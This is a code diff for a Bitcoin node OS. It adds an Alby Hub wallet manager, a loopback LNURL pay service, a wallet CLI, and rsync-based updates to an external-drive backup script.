app = self._find_managed_app(identifier)
|
||||
if app is None:
|
||||
raise AlbyHubError("wallet_not_found", "Wallet connection not found.")
|
||||
|
||||
app_id = int(app["id"])
|
||||
|
||||
pending = self._get_app_pending_txs(app_id)
|
||||
if pending:
|
||||
raise AlbyHubError(
|
||||
"pending_transactions",
|
||||
"Wallet has pending transactions and cannot be deleted.",
|
||||
)
|
||||
|
||||
drain_result = self.drain_wallet(identifier)
|
||||
|
||||
# Verify no transferable balance remains
|
||||
refreshed = self._authenticated_request("GET", f"/api/v2/apps/{app_id}")
|
||||
remaining_msat = self._get_app_balance_msat(refreshed)
|
||||
if remaining_msat < 0:
|
||||
raise AlbyHubError(
|
||||
"negative_balance",
|
||||
"Wallet has a negative final balance and cannot be deleted.",
|
||||
)
|
||||
if remaining_msat >= 1000:
|
||||
raise AlbyHubError(
|
||||
"drain_incomplete",
|
||||
f"Drain verification failed: funds still remain.",
|
||||
)
|
||||
|
||||
# Delete by app pubkey
|
||||
pubkey = app.get("appPubkey") or app.get("nostrPubkey") or app.get("pubkey") or ""
|
||||
if not pubkey:
|
||||
raise AlbyHubError(
|
||||
"app_pubkey_missing",
|
||||
"Cannot delete app: nostr pubkey not available.",
|
||||
)
|
||||
self._authenticated_request(
|
||||
"DELETE",
|
||||
f"/api/apps/{urllib.parse.quote(pubkey, safe='')}",
|
||||
)
|
||||
|
||||
# Audit log: wallet deleted
|
||||
self._audit(
|
||||
"wallet_deleted",
|
||||
wallet_id=str(app_id),
|
||||
name=app.get("name", ""),
|
||||
alias=app.get("alias", ""),
|
||||
drained_sats=drain_result.get("drained_sats", 0),
|
||||
dust_msat=remaining_msat,
|
||||
)
|
||||
|
||||
return {
|
||||
"ok": True,
|
||||
"drained_sats": drain_result.get("drained_sats", 0),
|
||||
"dust_msat": remaining_msat,
|
||||
}
|
||||
|
||||
def issue_invoice(
|
||||
self, app_id: int, amount_msat: int, description: str = ""
|
||||
) -> str:
|
||||
"""Create an LND invoice attributed to a specific isolated app.
|
||||
|
||||
Returns a valid BOLT11 invoice string.
|
||||
Raises AlbyHubError if the Hub returns an invalid or misattributed invoice.
|
||||
"""
|
||||
resp = self._authenticated_request(
|
||||
"POST",
|
||||
"/api/invoices",
|
||||
body={
|
||||
"amountMsat": amount_msat,
|
||||
"description": description or LNURL_DESCRIPTION_DEFAULT,
|
||||
"appId": app_id,
|
||||
},
|
||||
)
|
||||
invoice: str = resp.get("invoice") or ""
|
||||
returned_app_id = resp.get("appId")
|
||||
|
||||
if not invoice:
|
||||
raise AlbyHubError("invoice_creation_failed", "Hub returned empty invoice.")
|
||||
|
||||
# Require a valid BOLT11 prefix (mainnet, testnet, signet, regtest)
|
||||
if not re.match(r"^ln", invoice, re.IGNORECASE):
|
||||
raise AlbyHubError(
|
||||
"invalid_invoice", "Hub returned a non-BOLT11 invoice string."
|
||||
)
|
||||
|
||||
if returned_app_id is None or int(returned_app_id) != app_id:
|
||||
raise AlbyHubError(
|
||||
"invoice_attribution_failed",
|
||||
"Invoice attribution mismatch: returned appId does not match.",
|
||||
)
|
||||
|
||||
# Audit log: invoice issued via API
|
||||
self._audit(
|
||||
"invoice_issued",
|
||||
app_id=app_id,
|
||||
amount_msat=amount_msat,
|
||||
amount_sat=amount_msat // 1000,
|
||||
invoice_prefix=invoice[:50] + "..." if len(invoice) > 50 else invoice,
|
||||
)
|
||||
|
||||
return invoice
|
||||
|
||||
def find_app_by_alias(self, alias: str) -> dict | None:
|
||||
"""Find a managed isolated app by its ``lnurl_alias`` metadata field."""
|
||||
alias_lower = alias.strip().lower()
|
||||
for a in self._all_managed_apps():
|
||||
meta = self._parse_metadata(a.get("metadata"))
|
||||
if meta.get("lnurl_alias", "").lower() == alias_lower:
|
||||
return a
|
||||
return None
|
||||
|
||||
def rotate_wallet_secret(self, identifier: str) -> dict:
|
||||
"""Rotate the NWC pairing secret for a wallet connection.
|
||||
|
||||
Revokes the old Nostr key and generates a new pairing URI.
|
||||
Returns the new pairing URI (shown ONCE).
|
||||
"""
|
||||
app = self._find_managed_app(identifier)
|
||||
if app is None:
|
||||
raise AlbyHubError("wallet_not_found", "Wallet connection not found.")
|
||||
|
||||
app_id = int(app["id"])
|
||||
app_pubkey = app.get("appPubkey") or app.get("nostrPubkey") or app.get("pubkey") or ""
|
||||
if not app_pubkey:
|
||||
raise AlbyHubError(
|
||||
"app_pubkey_missing",
|
||||
"Cannot rotate secret: app public key not available.",
|
||||
)
|
||||
|
||||
# Call Alby Hub's rotate secret endpoint (if available)
|
||||
# Alby Hub may not have this endpoint yet; fall back to re-creating the app
|
||||
# For now, we'll delete and re-create with same metadata
|
||||
# This is a safe operation since we drain first
|
||||
name = app.get("name", "")
|
||||
alias = app.get("alias", "")
|
||||
scopes = app.get("scopes") or []
|
||||
max_amount = app.get("maxAmountSat") or 0
|
||||
metadata = app.get("metadata") or {}
|
||||
|
||||
# Drain first
|
||||
self.drain_wallet(identifier)
|
||||
|
||||
# Delete old app
|
||||
self._authenticated_request(
|
||||
"DELETE",
|
||||
f"/api/apps/{urllib.parse.quote(app_pubkey, safe='')}",
|
||||
)
|
||||
|
||||
# Create new app with same parameters
|
||||
create_body: dict = {
|
||||
"name": name,
|
||||
"scopes": scopes,
|
||||
"isolated": True,
|
||||
"budgetRenewal": "never",
|
||||
"maxAmountSat": max_amount,
|
||||
"metadata": metadata,
|
||||
}
|
||||
|
||||
resp = self._authenticated_request("POST", "/api/apps", body=create_body)
|
||||
new_pairing_uri: str = resp.get("pairingUri") or resp.get("pairing_uri") or ""
|
||||
new_app_id = resp.get("id")
|
||||
|
||||
# Audit log: secret rotated
|
||||
self._audit(
|
||||
"wallet_secret_rotated",
|
||||
old_wallet_id=str(app_id),
|
||||
new_wallet_id=str(new_app_id) if new_app_id else "unknown",
|
||||
name=name,
|
||||
alias=alias,
|
||||
)
|
||||
|
||||
return {
|
||||
"wallet_id": str(new_app_id) if new_app_id else "",
|
||||
"pairing_uri": new_pairing_uri,
|
||||
"message": "New NWC connection secret generated. Save it now — it will not be shown again.",
|
||||
}
|
||||
|
||||
def health(self) -> dict:
|
||||
"""Return a basic health summary."""
|
||||
try:
|
||||
token = self.ensure_ready()
|
||||
status = self._request(
|
||||
"GET", "/api/node/status", token=token, timeout=10
|
||||
)
|
||||
return {
|
||||
"ok": True,
|
||||
"hub_ready": bool(
|
||||
status.get("isReady") or status.get("running")
|
||||
),
|
||||
}
|
||||
except AlbyHubError as exc:
|
||||
return {"ok": False, "error": exc.code, "message": str(exc)}
|
||||
|
||||
|
||||
# ── Module-level singleton ──────────────────────────────────────────
|
||||
|
||||
_manager: AlbyHubManager | None = None
|
||||
_manager_lock = threading.Lock()
|
||||
|
||||
|
||||
def get_manager() -> AlbyHubManager:
|
||||
"""Return the module-level singleton AlbyHubManager."""
|
||||
global _manager
|
||||
if _manager is None:
|
||||
with _manager_lock:
|
||||
if _manager is None:
|
||||
_manager = AlbyHubManager()
|
||||
return _manager
|
||||
@@ -0,0 +1,307 @@
|
||||
"""
|
||||
Dedicated LNURL service for Lightning Wallet Connections.
|
||||
|
||||
Runs as ``nwc-lnurl.service`` on 127.0.0.1:8181 (loopback only).
|
||||
Caddy proxies the public Lightning Address domain's LNURL routes to this port.
|
||||
|
||||
Routes:
|
||||
GET /.well-known/lnurlp/{alias}
|
||||
GET /lnurlp/{alias}/callback?amount=<msat>
|
||||
|
||||
All error responses are safe for public consumption — raw Alby Hub bodies
|
||||
and internal credentials are never returned to callers.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import urllib.parse
|
||||
from collections import defaultdict
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
from . import nwc_hub_manager as _mgr_mod
|
||||
from . import nwc_audit as _audit_mod
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from .nwc_hub_manager import AlbyHubManager
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ── Configuration ─────────────────────────────────────────────────
|
||||
|
||||
LNURL_BIND_HOST = "127.0.0.1"
|
||||
LNURL_PORT = int(os.environ.get("NWC_LNURL_PORT", "8181"))
|
||||
DOMAIN_FILE = "/var/lib/domains/lightning"
|
||||
|
||||
NWC_ALIAS_RE = re.compile(r"^[a-z0-9][a-z0-9_-]{0,31}$")
|
||||
|
||||
# Rate limiting configuration
|
||||
RATE_LIMIT_WINDOW_SEC = 60
|
||||
RATE_LIMIT_MAX_REQUESTS = 30
|
||||
_rate_limit_buckets: dict[str, list[float]] = defaultdict(list)
|
||||
|
||||
# ── Helpers ───────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _read_domain() -> str | None:
|
||||
try:
|
||||
with open(DOMAIN_FILE, "r") as fh:
|
||||
raw = fh.read(256).strip().lower()
|
||||
# Strict FQDN validation: must be a valid hostname with at least one dot
|
||||
# Reject localhost, IP addresses, and single-label names
|
||||
if not re.match(r"^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$", raw):
|
||||
return None
|
||||
# Explicitly reject local/reserved names
|
||||
if raw in {"localhost", "localhost.localdomain", "local"}:
|
||||
return None
|
||||
return raw
|
||||
except OSError:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def _check_rate_limit(client_ip: str) -> bool:
|
||||
"""Check and update rate limit bucket for client IP. Returns True if allowed."""
|
||||
now = time.monotonic()
|
||||
bucket = _rate_limit_buckets[client_ip]
|
||||
# Prune old entries
|
||||
cutoff = now - RATE_LIMIT_WINDOW_SEC
|
||||
while bucket and bucket[0] < cutoff:
|
||||
bucket.pop(0)
|
||||
if len(bucket) >= RATE_LIMIT_MAX_REQUESTS:
|
||||
return False
|
||||
bucket.append(now)
|
||||
return True
|
||||
|
||||
|
||||
def _lnurl_discovery(alias: str, manager: "AlbyHubManager", client_ip: str = "") -> tuple[dict, int]:
|
||||
alias = alias.strip().lower()
|
||||
if not NWC_ALIAS_RE.match(alias):
|
||||
return {"status": "ERROR", "reason": "Unknown Lightning Address alias"}, 404
|
||||
|
||||
domain = _read_domain()
|
||||
if not domain:
|
||||
return {"status": "ERROR", "reason": "Lightning domain is not configured"}, 503
|
||||
|
||||
try:
|
||||
app = manager.find_app_by_alias(alias)
|
||||
except _mgr_mod.AlbyHubError:
|
||||
return {"status": "ERROR", "reason": "Service temporarily unavailable"}, 503
|
||||
|
||||
if app is None:
|
||||
return {"status": "ERROR", "reason": "Unknown Lightning Address alias"}, 404
|
||||
|
||||
meta = _mgr_mod.AlbyHubManager._parse_metadata(app.get("metadata"))
|
||||
min_sendable = int(
|
||||
meta.get("lnurl_min_sendable_msat", _mgr_mod.NWC_MIN_SENDABLE_MSAT)
|
||||
)
|
||||
max_sendable = int(
|
||||
meta.get("lnurl_max_sendable_msat", _mgr_mod.NWC_MAX_SENDABLE_MSAT)
|
||||
)
|
||||
|
||||
callback_alias = urllib.parse.quote(alias, safe="")
|
||||
callback = f"https://{domain}/lnurlp/{callback_alias}/callback"
|
||||
description = meta.get("lnurl_description") or f"Pay {alias}"
|
||||
metadata = json.dumps([["text/plain", description]], separators=(",", ":"))
|
||||
|
||||
# Audit log: LNURL discovery
|
||||
_audit_mod.audit_log(
|
||||
"lnurl_discovery",
|
||||
alias=alias,
|
||||
domain=domain,
|
||||
client_ip=client_ip,
|
||||
min_sendable_msat=min_sendable,
|
||||
max_sendable_msat=max_sendable,
|
||||
)
|
||||
|
||||
return {
|
||||
"tag": "payRequest",
|
||||
"callback": callback,
|
||||
"minSendable": min_sendable,
|
||||
"maxSendable": max_sendable,
|
||||
"metadata": metadata,
|
||||
"commentAllowed": 0,
|
||||
}, 200
|
||||
|
||||
|
||||
def _lnurl_callback(
|
||||
alias: str, amount_str: str | None, manager: "AlbyHubManager", client_ip: str = ""
|
||||
) -> tuple[dict, int]:
|
||||
payload, status_code = _lnurl_discovery(alias, manager, client_ip)
|
||||
if status_code != 200:
|
||||
return payload, status_code
|
||||
|
||||
if amount_str is None:
|
||||
return {"status": "ERROR", "reason": "Missing amount parameter"}, 400
|
||||
if not re.match(r"^\d+$", amount_str):
|
||||
return {
|
||||
"status": "ERROR",
|
||||
"reason": "Amount must be an integer millisatoshi value",
|
||||
}, 400
|
||||
|
||||
amount_msat = int(amount_str)
|
||||
min_sendable = int(payload["minSendable"])
|
||||
max_sendable = int(payload["maxSendable"])
|
||||
|
||||
if amount_msat < min_sendable:
|
||||
return {
|
||||
"status": "ERROR",
|
||||
"reason": "Amount is below the minimum sendable value",
|
||||
}, 400
|
||||
if amount_msat > max_sendable:
|
||||
return {
|
||||
"status": "ERROR",
|
||||
"reason": "Amount is above the maximum sendable value",
|
||||
}, 400
|
||||
if amount_msat % 1000 != 0:
|
||||
return {
|
||||
"status": "ERROR",
|
||||
"reason": "Amount must be a whole-satoshi value",
|
||||
}, 400
|
||||
|
||||
try:
|
||||
app = manager.find_app_by_alias(alias)
|
||||
except _mgr_mod.AlbyHubError:
|
||||
return {"status": "ERROR", "reason": "Service temporarily unavailable"}, 503
|
||||
|
||||
if app is None:
|
||||
return {"status": "ERROR", "reason": "Unknown Lightning Address alias"}, 404
|
||||
|
||||
meta = _mgr_mod.AlbyHubManager._parse_metadata(app.get("metadata"))
|
||||
description = meta.get("lnurl_description") or f"Pay {alias}"
|
||||
|
||||
try:
|
||||
app_id = int(app["id"])
|
||||
invoice = manager.issue_invoice(app_id, amount_msat, description)
|
||||
except _mgr_mod.AlbyHubError:
|
||||
return {"status": "ERROR", "reason": "Invoice creation failed"}, 502
|
||||
|
||||
# Audit log: Invoice generated via LNURL
|
||||
_audit_mod.audit_log(
|
||||
"lnurl_invoice_created",
|
||||
alias=alias,
|
||||
amount_msat=amount_msat,
|
||||
amount_sat=amount_msat // 1000,
|
||||
client_ip=client_ip,
|
||||
invoice_prefix=invoice[:50] + "..." if len(invoice) > 50 else invoice,
|
||||
)
|
||||
|
||||
return {"pr": invoice, "routes": []}, 200
|
||||
|
||||
|
||||
# ── HTTP server ───────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _make_handler(manager: "AlbyHubManager") -> type:
|
||||
"""Return a handler class bound to the given manager."""
|
||||
|
||||
class LnurlHandler(BaseHTTPRequestHandler):
|
||||
_manager = manager
|
||||
|
||||
def log_message(self, fmt: str, *args: object) -> None:
|
||||
logger.debug(f"LNURL {self.address_string()} {fmt % args}")
|
||||
|
||||
def _send_json(self, status: int, body: dict) -> None:
|
||||
raw = json.dumps(body, separators=(",", ":")).encode("utf-8")
|
||||
self.send_response(status)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(raw)))
|
||||
self.end_headers()
|
||||
self.wfile.write(raw)
|
||||
|
||||
def _get_client_ip(self) -> str:
|
||||
# Check X-Forwarded-For header (set by Caddy)
|
||||
forwarded = self.headers.get("X-Forwarded-For")
|
||||
if forwarded:
|
||||
# Take the first IP in the chain
|
||||
return forwarded.split(",")[0].strip()
|
||||
# Fallback to direct connection IP
|
||||
return self.client_address[0]
|
||||
|
||||
def _check_rate_limit(self) -> bool:
|
||||
client_ip = self._get_client_ip()
|
||||
if not _check_rate_limit(client_ip):
|
||||
self._send_json(429, {
|
||||
"status": "ERROR",
|
||||
"reason": "Rate limit exceeded. Please slow down."
|
||||
})
|
||||
_audit_mod.audit_log(
|
||||
"rate_limit_exceeded",
|
||||
client_ip=client_ip,
|
||||
path=self.path,
|
||||
)
|
||||
return False
|
||||
return True
|
||||
|
||||
def do_GET(self) -> None: # noqa: N802
|
||||
if not self._check_rate_limit():
|
||||
return
|
||||
|
||||
parsed = urllib.parse.urlparse(self.path)
|
||||
path = parsed.path
|
||||
qs = urllib.parse.parse_qs(parsed.query)
|
||||
client_ip = self._get_client_ip()
|
||||
|
||||
# /.well-known/lnurlp/{alias}
|
||||
m = re.fullmatch(
|
||||
r"/.well-known/lnurlp/([^/]+)", path
|
||||
)
|
||||
if m:
|
||||
alias = urllib.parse.unquote(m.group(1))
|
||||
payload, code = _lnurl_discovery(alias, self._manager, client_ip)
|
||||
self._send_json(code, payload)
|
||||
return
|
||||
|
||||
# /lnurlp/{alias}/callback
|
||||
m = re.fullmatch(r"/lnurlp/([^/]+)/callback", path)
|
||||
if m:
|
||||
alias = urllib.parse.unquote(m.group(1))
|
||||
amount_values = qs.get("amount")
|
||||
if not amount_values:
|
||||
amount_str = None
|
||||
elif len(amount_values) != 1:
|
||||
self._send_json(
|
||||
400,
|
||||
{
|
||||
"status": "ERROR",
|
||||
"reason": "A single amount parameter is required",
|
||||
},
|
||||
)
|
||||
return
|
||||
else:
|
||||
amount_str = amount_values[0]
|
||||
payload, code = _lnurl_callback(alias, amount_str, self._manager, client_ip)
|
||||
self._send_json(code, payload)
|
||||
return
|
||||
|
||||
self._send_json(404, {"status": "ERROR", "reason": "Not found"})
|
||||
|
||||
return LnurlHandler
|
||||
|
||||
|
||||
def run(
|
||||
host: str = LNURL_BIND_HOST,
|
||||
port: int = LNURL_PORT,
|
||||
manager: "AlbyHubManager | None" = None,
|
||||
) -> None:
|
||||
"""Start the blocking LNURL HTTP server."""
|
||||
if manager is None:
|
||||
manager = _mgr_mod.get_manager()
|
||||
handler_class = _make_handler(manager)
|
||||
server = HTTPServer((host, port), handler_class)
|
||||
logger.info("nwc-lnurl service listening on %s:%d", host, port)
|
||||
server.serve_forever()
|
||||
|
||||
|
||||
def main() -> None:
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,131 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import sys
|
||||
|
||||
from . import nwc_hub_manager as _mgr_mod
|
||||
from .server import _nwc_domain, _nwc_validate_alias, _nwc_test_address
|
||||
|
||||
|
||||
def _print(data) -> None:
|
||||
print(json.dumps(data, indent=2, sort_keys=True))
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
parser = argparse.ArgumentParser(prog="nwc-wallet")
|
||||
sub = parser.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
create = sub.add_parser("create")
|
||||
create.add_argument("name")
|
||||
create.add_argument("alias")
|
||||
preset_group = create.add_mutually_exclusive_group()
|
||||
preset_group.add_argument("--receive-only", action="store_true")
|
||||
preset_group.add_argument("--limit-sats", type=int)
|
||||
|
||||
sub.add_parser("list")
|
||||
|
||||
drain = sub.add_parser("drain")
|
||||
drain.add_argument("wallet")
|
||||
|
||||
delete = sub.add_parser("delete")
|
||||
delete.add_argument("wallet")
|
||||
|
||||
addr = sub.add_parser("address")
|
||||
addr_sub = addr.add_subparsers(dest="address_cmd", required=True)
|
||||
addr_show = addr_sub.add_parser("show")
|
||||
addr_show.add_argument("alias")
|
||||
|
||||
rotate = sub.add_parser("rotate")
|
||||
rotate.add_argument("wallet")
|
||||
|
||||
sub.add_parser("health")
|
||||
|
||||
args = parser.parse_args(argv)
|
||||
manager = _mgr_mod.get_manager()
|
||||
domain = _nwc_domain()
|
||||
|
||||
if args.cmd == "list":
|
||||
try:
|
||||
wallets = manager.list_wallets(domain)
|
||||
except _mgr_mod.AlbyHubError as exc:
|
||||
print(f"Error: {exc.code} - {exc}", file=sys.stderr)
|
||||
return 1
|
||||
_print({"wallets": wallets})
|
||||
return 0
|
||||
|
||||
if args.cmd == "health":
|
||||
result = manager.health()
|
||||
_print(result)
|
||||
return 0 if result.get("ok") else 1
|
||||
|
||||
if args.cmd == "address" and args.address_cmd == "show":
|
||||
alias = args.alias.strip().lower()
|
||||
test = _nwc_test_address(alias)
|
||||
_print(test)
|
||||
return 0 if test.get("ok") else 1
|
||||
|
||||
if args.cmd == "drain":
|
||||
try:
|
||||
result = manager.drain_wallet(args.wallet)
|
||||
except _mgr_mod.AlbyHubError as exc:
|
||||
print(f"Error: {exc.code} - {exc}", file=sys.stderr)
|
||||
return 1
|
||||
_print(result)
|
||||
return 0
|
||||
|
||||
if args.cmd == "delete":
|
||||
try:
|
||||
result = manager.delete_wallet(args.wallet)
|
||||
except _mgr_mod.AlbyHubError as exc:
|
||||
print(f"Error: {exc.code} - {exc}", file=sys.stderr)
|
||||
return 1
|
||||
_print(result)
|
||||
return 0
|
||||
|
||||
if args.cmd == "rotate":
|
||||
try:
|
||||
result = manager.rotate_wallet_secret(args.wallet)
|
||||
except _mgr_mod.AlbyHubError as exc:
|
||||
print(f"Error: {exc.code} - {exc}", file=sys.stderr)
|
||||
return 1
|
||||
_print({
|
||||
"wallet_id": result.get("wallet_id", ""),
|
||||
"pairing_uri": result.get("pairing_uri", ""),
|
||||
"message": result.get("message", "New NWC connection secret generated. Save it now — it will not be shown again."),
|
||||
})
|
||||
return 0
|
||||
|
||||
if args.cmd == "create":
|
||||
alias = args.alias.strip().lower()
|
||||
if not _nwc_validate_alias(alias):
|
||||
print("Error: alias_invalid - Alias must be lowercase letters, digits, '_' or '-'.", file=sys.stderr)
|
||||
return 1
|
||||
access_preset = "send_receive_limited" if args.limit_sats is not None else "receive_only"
|
||||
try:
|
||||
result = manager.create_wallet(
|
||||
args.name.strip(),
|
||||
alias,
|
||||
access_preset,
|
||||
args.limit_sats if access_preset == "send_receive_limited" else None,
|
||||
domain,
|
||||
)
|
||||
except _mgr_mod.AlbyHubError as exc:
|
||||
print(f"Error: {exc.code} - {exc}", file=sys.stderr)
|
||||
return 1
|
||||
# Print the pairing URI once — this is the only time it is shown
|
||||
_print(
|
||||
{
|
||||
"wallet": result["wallet"],
|
||||
"pairing_uri": result.get("pairing_uri", ""),
|
||||
"message": "Keep the NWC connection secret private. It cannot be displayed again.",
|
||||
"result": result.get("result", {}),
|
||||
}
|
||||
)
|
||||
return 0
|
||||
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,12 +1,29 @@
|
||||
#!/usr/bin/env bash
|
||||
# ── Sovran Hub External Backup Script ────────────────────────────
|
||||
# Backs up Sovran_SystemsOS data to an external USB hard drive.
|
||||
# Backs up Sovran_SystemsOS data to an external USB hard drive using rsync.
|
||||
# Designed for the Hub web UI (no GUI dependencies).
|
||||
#
|
||||
# Your Sovran Pro already backs up your data automatically to its
|
||||
# internal second drive (BTCEcoandBackup at /run/media/Second_Drive).
|
||||
# This script creates an additional copy on an external USB drive —
|
||||
# storing your data in a third location for maximum protection.
|
||||
# On Server + Desktop and Node systems, your Sovran Pro already backs up
|
||||
# your data automatically to its internal second drive (BTCEcoandBackup at
|
||||
# /run/media/Second_Drive); this script stores a copy in a third location.
|
||||
# Desktop Only systems have no internal second drive, so the external copy
|
||||
# is the second location.
|
||||
#
|
||||
# What gets mirrored depends on the system role:
|
||||
# - Node / Server + Desktop: /etc/nixos, /etc/nix-bitcoin-secrets,
|
||||
# /home, and /var/lib (minus databases, blockchain data, logs, caches).
|
||||
# - Desktop Only: /etc/nixos and /home. Desktop Only runs no server or
|
||||
# Bitcoin services, so there are no nix-bitcoin secrets or system
|
||||
# service data to back up.
|
||||
#
|
||||
# The external drive must be formatted as ext4. Files are stored as
|
||||
# directly browsable files under Sovran_SystemsOS_Backup/current/.
|
||||
# Later runs update the same mirror and only transfer changed or new
|
||||
# files, making repeat backups fast.
|
||||
#
|
||||
# PostgreSQL and MariaDB/MySQL databases are NOT included. Bitcoin
|
||||
# blockchain and Electrs index data are NOT included (they live on
|
||||
# the internal second drive).
|
||||
#
|
||||
# Usage:
|
||||
# BACKUP_TARGET=/run/media/<user>/<drive> bash sovran-hub-backup.sh
|
||||
@@ -17,18 +34,28 @@ set -euo pipefail
|
||||
BACKUP_LOG="/var/log/sovran-hub-backup.log"
|
||||
BACKUP_STATUS="/var/log/sovran-hub-backup.status"
|
||||
MEDIA_ROOT="/run/media"
|
||||
MIN_FREE_GB=10
|
||||
HUB_CONFIG_JSON="/var/lib/sovran-hub/config.json"
|
||||
ROLE_STATE_NIX="/etc/nixos/role-state.nix"
|
||||
SECOND_DRIVE_MOUNT="/run/media/Second_Drive"
|
||||
SAFETY_MARGIN_BYTES=$((1024 * 1024 * 1024))
|
||||
|
||||
# ── Internal drive labels/paths to NEVER use as backup targets ───
|
||||
INTERNAL_LABELS=("BTCEcoandBackup" "sovran_systemsos")
|
||||
INTERNAL_MOUNTS=("/run/media/Second_Drive" "/boot/efi" "/")
|
||||
INTERNAL_MOUNTS=("$SECOND_DRIVE_MOUNT" "/boot/efi" "/")
|
||||
|
||||
FAILED_ALREADY=0
|
||||
BACKUP_COMPLETE=0
|
||||
RSYNC_WARNINGS=()
|
||||
|
||||
# Stable rsync mirror sub-path under the target drive. Not timestamped
|
||||
# so later runs update the same destination and only transfer new or changed files.
|
||||
BACKUP_SUBPATH="Sovran_SystemsOS_Backup/current"
|
||||
|
||||
# ── Logging helpers ──────────────────────────────────────────────
|
||||
|
||||
log() {
|
||||
local msg="[$(date '+%Y-%m-%d %H:%M:%S')] $*"
|
||||
local msg
|
||||
msg="[$(date '+%Y-%m-%d %H:%M:%S')] $*"
|
||||
echo "$msg" | tee -a "$BACKUP_LOG"
|
||||
}
|
||||
|
||||
@@ -37,16 +64,47 @@ set_status() {
|
||||
}
|
||||
|
||||
fail() {
|
||||
FAILED_ALREADY=1
|
||||
log "ERROR: $*"
|
||||
set_status "FAILED"
|
||||
exit 1
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
local rc=$?
|
||||
|
||||
# Release the concurrency lock file descriptor if it was opened
|
||||
if [[ -n "${LOCK_FD:-}" ]]; then
|
||||
exec {LOCK_FD}>&- 2>/dev/null || true
|
||||
fi
|
||||
|
||||
if [[ "$BACKUP_COMPLETE" -eq 1 && "$rc" -eq 0 ]]; then
|
||||
return
|
||||
fi
|
||||
|
||||
if [[ "$FAILED_ALREADY" -eq 0 ]]; then
|
||||
log "ERROR: Backup terminated unexpectedly (exit code $rc)."
|
||||
set_status "FAILED"
|
||||
fi
|
||||
|
||||
# Mark the backup directory as incomplete so failed runs are identifiable
|
||||
if [[ -n "${BACKUP_DIR:-}" && -d "${BACKUP_DIR:-}" && ! -f "${BACKUP_DIR:-}/BACKUP_COMPLETE" ]]; then
|
||||
touch "${BACKUP_DIR}/INCOMPLETE" 2>/dev/null || true
|
||||
fi
|
||||
}
|
||||
|
||||
trap cleanup EXIT
|
||||
trap 'exit 1' INT TERM
|
||||
|
||||
require_cmd() {
|
||||
local cmd="$1"
|
||||
command -v "$cmd" >/dev/null 2>&1 || fail "Required command not found: $cmd"
|
||||
}
|
||||
|
||||
# ── Check whether a mount point is an internal drive ────────────
|
||||
|
||||
is_internal() {
|
||||
local mnt="$1"
|
||||
# Reject known internal mount points and their subdirectories
|
||||
for internal in "${INTERNAL_MOUNTS[@]}"; do
|
||||
if [[ "$mnt" == "$internal" || "$mnt" == "${internal}/"* ]]; then
|
||||
return 0
|
||||
@@ -59,39 +117,37 @@ is_internal() {
|
||||
|
||||
find_external_drive() {
|
||||
local target=""
|
||||
# lsblk JSON output: NAME,LABEL,MOUNTPOINT,HOTPLUG,RM,TYPE
|
||||
if command -v lsblk &>/dev/null; then
|
||||
while IFS=$'\t' read -r dev_type hotplug removable label mountpoint; do
|
||||
# Must be a partition or disk, and be removable/hotplug
|
||||
[[ "$dev_type" == "part" || "$dev_type" == "disk" ]] || continue
|
||||
[[ "$hotplug" == "1" || "$removable" == "1" ]] || continue
|
||||
[[ -n "$mountpoint" ]] || continue
|
||||
|
||||
# Filter out internal labels
|
||||
local skip=0
|
||||
for lbl in "${INTERNAL_LABELS[@]}"; do
|
||||
[[ "$label" == "$lbl" ]] && skip=1 && break
|
||||
done
|
||||
[[ "$skip" -eq 1 ]] && continue
|
||||
while IFS=$'\t' read -r dev_type hotplug removable label mountpoint; do
|
||||
[[ "$dev_type" == "part" || "$dev_type" == "disk" ]] || continue
|
||||
[[ "$hotplug" == "1" || "$removable" == "1" ]] || continue
|
||||
[[ -n "$mountpoint" ]] || continue
|
||||
|
||||
# Filter out internal mount points
|
||||
is_internal "$mountpoint" && continue
|
||||
local skip=0
|
||||
for lbl in "${INTERNAL_LABELS[@]}"; do
|
||||
[[ "$label" == "$lbl" ]] && skip=1 && break
|
||||
done
|
||||
[[ "$skip" -eq 1 ]] && continue
|
||||
|
||||
if mountpoint -q "$mountpoint" 2>/dev/null; then
|
||||
target="$mountpoint"
|
||||
break
|
||||
fi
|
||||
done < <(lsblk -J -o NAME,LABEL,MOUNTPOINT,HOTPLUG,RM,TYPE 2>/dev/null | \
|
||||
python3 -c "
|
||||
is_internal "$mountpoint" && continue
|
||||
|
||||
if mountpoint -q "$mountpoint" 2>/dev/null; then
|
||||
target="$mountpoint"
|
||||
break
|
||||
fi
|
||||
done < <(lsblk -J -o NAME,LABEL,MOUNTPOINT,HOTPLUG,RM,TYPE 2>/dev/null | \
|
||||
python3 -c "
|
||||
import sys, json
|
||||
data = json.load(sys.stdin)
|
||||
|
||||
def flatten(devs):
|
||||
for d in devs:
|
||||
yield d
|
||||
for c in d.get('children', []):
|
||||
yield from flatten([c])
|
||||
|
||||
data = json.load(sys.stdin)
|
||||
for d in flatten(data.get('blockdevices', [])):
|
||||
print('\t'.join([
|
||||
print('\\t'.join([
|
||||
d.get('type') or '',
|
||||
str(d.get('hotplug') or '0'),
|
||||
str(d.get('rm') or '0'),
|
||||
@@ -99,24 +155,10 @@ for d in flatten(data.get('blockdevices', [])):
|
||||
d.get('mountpoint') or '',
|
||||
]))
|
||||
" 2>/dev/null || true)
|
||||
fi
|
||||
|
||||
# Fallback: walk /run/media/ if lsblk produced nothing
